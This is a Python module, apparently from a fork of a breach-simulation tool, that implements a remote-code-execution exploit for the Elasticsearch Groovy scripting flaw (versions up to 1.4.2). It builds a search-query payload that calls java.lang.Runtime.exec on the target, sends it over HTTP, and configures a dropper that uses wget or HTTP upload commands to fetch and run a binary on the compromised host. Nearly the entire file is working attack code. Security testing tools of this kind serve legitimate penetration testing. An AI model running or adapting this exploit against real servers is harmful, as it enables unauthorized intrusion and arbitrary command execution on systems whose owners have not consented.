forked from p15670423/monkey
66 lines
2.4 KiB
Python
66 lines
2.4 KiB
Python
"""
|
|
Implementation is based on elastic search groovy exploit by metasploit
|
|
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
|
|
Max vulnerable elasticsearch version is "1.4.2"
|
|
"""
|
|
|
|
import json
|
|
import logging
|
|
import requests
|
|
from exploit.web_rce import WebRCE
|
|
from model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
|
|
from network.elasticfinger import ES_PORT, ES_SERVICE
|
|
|
|
import re
|
|
|
|
__author__ = 'danielg, VakarisZ'
|
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
|
class ElasticGroovyExploiter(WebRCE):
|
|
# attack URLs
|
|
MONKEY_RESULT_FIELD = "monkey_result"
|
|
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
|
JAVA_CMD = GENERIC_QUERY \
|
|
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
|
|
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
|
|
|
def __init__(self, host):
|
|
super(ElasticGroovyExploiter, self).__init__(host)
|
|
|
|
def get_exploit_config(self):
|
|
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
|
exploit_config['dropper'] = True
|
|
exploit_config['url_extensions'] = ['_search?pretty']
|
|
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
|
|
return exploit_config
|
|
|
|
def get_open_service_ports(self, port_list, names):
|
|
# We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service
|
|
valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
|
|
if ES_SERVICE in self.host.services:
|
|
valid_ports.append([ES_PORT, False])
|
|
return valid_ports
|
|
|
|
def exploit(self, url, command):
|
|
command = re.sub(r"\\", r"\\\\\\\\", command)
|
|
payload = self.JAVA_CMD % command
|
|
response = requests.get(url, data=payload)
|
|
result = self.get_results(response)
|
|
if not result:
|
|
return False
|
|
return result[0]
|
|
|
|
def get_results(self, response):
|
|
"""
|
|
Extracts the result data from our attack
|
|
:return: List of data fields or None
|
|
"""
|
|
try:
|
|
json_resp = json.loads(response.text)
|
|
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
|
|
except (KeyError, IndexError):
|
|
return None
|